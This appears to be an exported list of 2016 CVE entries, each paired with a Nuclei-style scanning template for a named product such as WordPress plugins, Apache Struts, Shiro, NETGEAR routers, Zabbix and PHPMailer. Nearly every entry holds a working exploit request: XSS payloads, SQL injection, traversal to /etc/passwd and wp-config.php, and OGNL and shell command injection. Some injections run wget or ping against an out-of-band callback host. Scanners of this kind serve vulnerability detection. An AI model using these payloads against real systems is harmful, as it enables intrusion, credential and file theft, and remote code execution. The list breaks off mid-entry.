Smart Wizard Result

[["CVE-2016-1000148", "S3 Video Plugin <= 0.983 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 543, [], 6.1, " cpe:2.3:a:s3-video project:s3-video", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': ['<\"'], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-8527", "Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS).", 706, [], 6.1, " cpe:2.3:a:hp:airwave", "[{'path': ['{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&end=500&match'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': [''], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2016-10993", "ScoreMe Theme - Unauthenticated Reflected Cross-Site Scripting (XSS)", 544, [], 5.4, " cpe:2.3:a:scoreme project:scoreme", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-6195", "vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.\n", 1570, [], 9.8, " cpe:2.3:a:vbulletin:vbulletin", "[{'path': ['{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27', '{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['type=dberror']}, {'type': 'status', 'status': [200, 503], 'condition': 'or'}], 'stop-at-first-match': True, 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2016-1000136", "Reflected XSS in wordpress plugin heat-trackr v1.0", 849, [], 6.1, " cpe:2.3:a:heat-trakr project:heat-trackr:1.0", "[{'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-10973", "The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.\n", 1944, [], 6.1, " cpe:2.3:a:brafton:brafton", "[{'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=%28document.domain%29 HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(content_type_2, \"text/html\")', 'contains(body_2, \"tab = (document.domain);\")', 'contains(body_2, \"Brafton Article Loader\")'], 'condition': 'and'}], 'cookie-reuse': True}]"], ["CVE-2016-1000133", "Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1", 456, [], 6.1, " cpe:2.3:a:designsandcode:forget-about-shorcode-buttons", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%22%20%3C%2Fscript%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C']}]"], ["CVE-2016-7981", "Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.\n", 523, [], 6.1, " cpe:2.3:a:spip:spip", "[{'path': ['{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'words': ['\">'], 'part': 'body', 'type': 'word'}, {'type': 'status', 'status': [200]}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2016-1000128", "anti-plagiarism <= 3.60 - Reflected Cross-Site Scripting (XSS)", 458, [], 6.1, " cpe:2.3:a:anti-plagiarism project:anti-plagiarism", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000138", "Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)", 503, [], 6.1, " cpe:2.3:a:indexisto project:indexisto", "[{'method': 'GET', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000140", "New Year Firework <= 1.1.9 - Reflected Cross-Site Scripting (XSS)", 504, [], 6.1, " cpe:2.3:a:new-year-firework project:new-year-firework", "[{'method': 'GET', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-5674", "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.\n", 2357, [], 9.8, " cpe:2.3:a:netgear:readynas surveillance:1.1.1", "[{'matchers': [{'condition': 'and', 'type': 'dsl', 'dsl': ['status_code_1 == 200', \"contains(body_1, 'Debugging Center')\", \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)\"]}, {'condition': 'and', 'type': 'dsl', 'dsl': ['status_code_2 == 200', \"contains(body_2, 'Debugging Center')\", \"contains(body_2, 'Windows IP')\"]}], 'path': ['{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id', '{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig'], 'matchers-condition': 'or', 'method': 'GET', 'stop-at-first-match': True}]"], ["CVE-2016-1000139", "Infusionsoft Gravity Forms Add-on <= 1.5.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 590, [], 6.1, " cpe:2.3:a:infusionsoft project:infusionsoft", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3E%28document.domain%29%3B%3C%2Fscript%3E%3C%22'], 'matchers': [{'type': 'word', 'words': ['\"><\"', 'input type=\"text\" name=\"ContactId\"'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2016-1000131", "e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php", 453, [], 6.1, " cpe:2.3:a:e-search project:esearch:1.0", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-10108", "Unauthenticated Remote Command injection as root occurs in the Western Digital MyCloud NAS 2.11.142 /web/google_analytics.php URL via a modified arg parameter in the POST data.\n", 2033, [], 9.8, " cpe:2.3:a:western digital:mycloud nas:2.11.142", "[{'matchers': [{'dsl': ['contains(body, \"WDMyCloud\")', 'contains(interactsh_protocol, \"dns\")', 'status_code == 200'], 'type': 'dsl', 'condition': 'and'}], 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\nCookie: isAdmin=1; username=admin|echo%20`ping -c 3 {{interactsh-url}}`; local_login=1\\n']}]"], ["CVE-2016-4437", "Apache Shiro before 1.2.5, when a cipher key has not been configured for the \"remember me\" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.\n", 1569, [], 8.1, " cpe:2.3:a:apache:shiro", "[{'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['dns']}], 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\nCookie: rememberMe={{base64(concat(base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"),aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"kPH+bIxk5D2deZiIxcaaaA==\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"))))}}\\n']}]"], ["CVE-2016-4977", "When processing authorization requests using the whitelabel views in Spring Security OAuth 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote code execution via the crafting of the value for response_type.", 957, [], 8.8, " cpe:2.3:a:pivotal:spring security oauth:1.0.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['Unsupported response types: [978015547]'], 'part': 'body'}, {'status': [400], 'type': 'status'}]}]"], ["CVE-2016-7834", "Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.\n", 1438, [], 8.8, " cpe:2.3:o:sony:snc series firmware", "[{'method': 'GET', 'path': ['{{BaseURL}}/command/prima-factory.cgi'], 'matchers': [{'type': 'word', 'part': 'header', 'condition': 'or', 'words': ['gen5th', 'gen6th']}, {'type': 'status', 'status': [204]}], 'headers': {'Authorization': 'Bearer cHJpbWFuYTpwcmltYW5h'}, 'matchers-condition': 'and'}]"], ["CVE-2016-3978", "The Web User Interface (WebUI) in FortiOS 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting (XSS) attacks via the \"redirect\" parameter to \"login.\"", 990, [], 6.1, " cpe:2.3:o:fortinet:fortios:5.0.0", "[{'path': ['{{BaseURL}}/login?redir=http://www.example.com'], 'method': 'GET', 'matchers': [{'type': 'regex', 'part': 'header', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)example\\\\.com\\\\/?(\\\\/|[^.].*)?$']}]}]"], ["CVE-2016-1000143", "Reflected XSS in wordpress plugin photoxhibit v2.1.8", 844, [], 6.1, " cpe:2.3:a:photoxhibit project:photoxhibit", "[{'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET'}]"], ["CVE-2016-10960", "The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter.", 443, [], 8.8, " cpe:2.3:a:joomlaserviceprovider:wsecure", "[{'method': 'POST', 'path': ['{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php'], 'matchers': [{'part': 'header', 'type': 'word', 'words': ['Nuclei: CVE-2016-10960'], 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'body': 'wsecure_action=update&publish=\";} header(\"Nuclei: CVE-2016-10960\"); class WSecureConfig2 {var $test=\"'}]"], ["CVE-2016-1000154", "Reflected XSS in wordpress plugin whizz v1.0.", 484, [], 6.1, " cpe:2.3:a:browserweb:whizz", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers-condition': 'and'}]"], ["CVE-2016-1000130", "Reflected XSS in wordpress plugin e-search v1.0", 457, [], 6.1, " cpe:2.3:a:e-search project:e-search:1.0", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000126", "Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)", 498, [], 6.1, " cpe:2.3:a:admin-font-editor project:admin-font-editor", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2016-10940", "The zm-gallery plugin 1.0 for WordPress has SQL injection via the order parameter.", 1001, [], 7.2, " cpe:2.3:a:zm-gallery project:zm-gallery:1.0", "[{'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nOrigin: {{RootURL}}\\nContent-Type: application/x-www-form-urlencoded\\nCookie: wordpress_test_cookie=WP%20Cookie%20check\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\\n', 'GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\\nHost: {{Hostname}}\\n'], 'req-condition': True, 'matchers': [{'dsl': ['contains(body_2, \"\")', '!contains(body_3, \"\")'], 'type': 'dsl', 'condition': 'and'}], 'cookie-reuse': True}]"], ["CVE-2016-1555", "NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.", 1099, [], 9.8, " cpe:2.3:o:netgear:wnap320 firmware", "[{'raw': ['POST /boardDataWW.php HTTP/1.1\\nHost: {{Hostname}}\\nAccept: */*\\nContent-Type: application/x-www-form-urlencoded\\n\\nmacAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit\\n'], 'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}]}]"], ["CVE-2016-0957", "Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.", 508, [], 7.5, " cpe:2.3:a:adobe:dispatcher", "[{'method': 'GET', 'path': ['{{BaseURL}}/system/console?.css'], 'matchers-condition': 'and', 'header': [{'Authorization': 'Basic YWRtaW46YWRtaW4K'}], 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'and', 'type': 'word', 'words': ['Adobe', 'java.lang', '(Runtime)']}]}]"], ["CVE-2016-10924", "The Wordpress eBook Download plugin was affected by a filedownload.php Local File Inclusion security vulnerability.", 896, [], 7.5, " cpe:2.3:a:zedna ebook download project:zedna ebook download", "[{'matchers-condition': 'and', 'matchers': [{'words': ['DB_NAME', 'DB_PASSWORD'], 'part': 'body', 'type': 'word', 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php']}]"], ["CVE-2016-10956", "The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php.", 416, [], 7.5, " cpe:2.3:a:mail-masta project:mail-masta:1.0", "[{'matchers-condition': 'and', 'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[0*]:0:0'], 'part': 'body'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd', '{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd']}]"], ["CVE-2016-3081", "Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.\n", 24, [], 8.1, " cpe:2.3:a:apache:struts:2.0.0", "[{'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:']}], 'raw': ['GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\\nHost: {{Hostname}}\\nContent-Length: 4\\n'], 'matchers-condition': 'and'}]"], ["CVE-2016-10134", "SQL injection vulnerability in Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php.", 954, [], 9.8, " cpe:2.3:a:zabbix:zabbix", "[{'path': ['{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['Error in query [INSERT INTO profiles (profileid, userid', 'You have an error in your SQL syntax'], 'condition': 'and', 'part': 'body'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2016-1000142", "The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.", 716, [], 6.1, " cpe:2.3:a:parsi-font project:parsi-font:4.2.5", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000155", "WPSOLR <= 8.6 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 561, [], 6.1, " cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-1000134", "Reflected XSS in wordpress plugin hdw-tube v1.2", 459, [], 6.1, " cpe:2.3:a:hdw-tube project:hdw-tube", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000153", "Tidio Gallery <= 1.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)", 562, [], 6.1, " cpe:2.3:a:tidio-gallery project:tidio-gallery", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': [''], 'part': 'body', 'type': 'word'}, {'words': ['text/html'], 'part': 'header', 'type': 'word'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-6277", "NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly other routers allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.", 675, [], 8.8, " cpe:2.3:o:netgear:d6220 firmware", "[{'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd']}]"], ["CVE-2016-1000152", "Reflected XSS in wordpress plugin tidio-form v1.0", 485, [], 6.1, " cpe:2.3:a:tidio-form project:tidio-form:1.0", "[{'method': 'GET', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers-condition': 'and'}]"], ["CVE-2016-1000146", "Pondol Form to Mail <= 1.1 - Reflected Cross-Site Scripting (XSS)", 584, [], 6.1, " cpe:2.3:a:pondol-formmail project:pondol-formmail", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2016-1000132", "Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8", 454, [], 6.1, " cpe:2.3:a:cminds:enhanced-tooltipglossary", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3Cscript%3E%28123%29%3C%2Fscript%3E&msg=imported']}]"], ["CVE-2016-1000149", "Simpel Reserveren 3 <= 3.5.2 - Reflected Cross-Site Scripting (XSS)", 541, [], 6.1, " cpe:2.3:a:simpel-reserveren project:simpel-reserveren", "[{'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2016-4975", "Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.", 811, [], 6.1, " cpe:2.3:a:apache:http server:2.2.0", "[{'path': ['{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection'], 'method': 'GET', 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Set-Cookie\\\\s*?:(?:\\\\s*?|.*?;\\\\s*?))(crlfinjection=crlfinjection)(?:\\\\s*?)(?:$|;)']}]}]"], ["CVE-2016-3088", "The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.", 871, [], 9.8, " cpe:2.3:a:apache:activemq", "[{'raw': ['PUT /fileserver/test.txt HTTP/1.1\\nHost: {{Hostname}}\\n\\n{{randstr}}\\n']}, {'req-condition': True, 'matchers': [{'type': 'dsl', 'condition': 'and', 'dsl': ['status_code_1==204', 'status_code_2==200', \"contains((body_2), '{{randstr}}')\"]}], 'raw': ['GET /fileserver/test.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2016-10033", "The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \\\" (backslash double quote) in a crafted Sender property.", 25, [], 9.8, " cpe:2.3:a:phpmailer project:phpmailer", "[{'extractors': [{'internal': True, 'name': 'username', 'group': 1, 'part': 'body', 'type': 'regex', 'regex': ['Author:(?:[A-Za-z0-9 -\\\\_=\"]+)?([A-Za-z0-9]+)<\\\\/span>', 'ocation: https:\\\\/\\\\/[a-z0-9.]+\\\\/author\\\\/([a-z]+)\\\\/']}], 'matchers': [{'words': ['wp-login.php?checkemail=confirm'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [302]}], 'unsafe': True, 'matchers-condition': 'and', 'raw': ['GET /?author=1 HTTP/1.1\\nHost: {{Hostname}}\\nCache-Control: max-age=0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\\nAccept-Language: en-US,en;q=0.9\\nConnection: close\\n\\n', 'POST /wp-login.php?action=lostpassword HTTP/1.1\\nHost: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)\\nConnection: close\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nAccept: */*\\nContent-Length: 56\\nContent-Type: application/x-www-form-urlencoded\\n\\nwp-submit=Get+New+Password&redirect_to=&user_login={{username}}\\n\\n']}]"], ["CVE-2016-2389", "Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978.", 577, [], 7.5, " cpe:2.3:a:sap:netweaver:7.40", "[{'matchers-condition': 'and', 'matchers': [{'regex': ['root:.*:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd'], 'method': 'GET'}]"], ["CVE-2016-10368", "Open redirect vulnerability in Opsview Monitor Pro (Prior to 5.1.0.162300841 prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.\n", 1435, [], 6.1, " cpe:2.3:a:opsview:opsview:4.5.0", "[{'matchers-condition': 'and', 'raw': ['POST /login HTTP/1.1\\nHost: 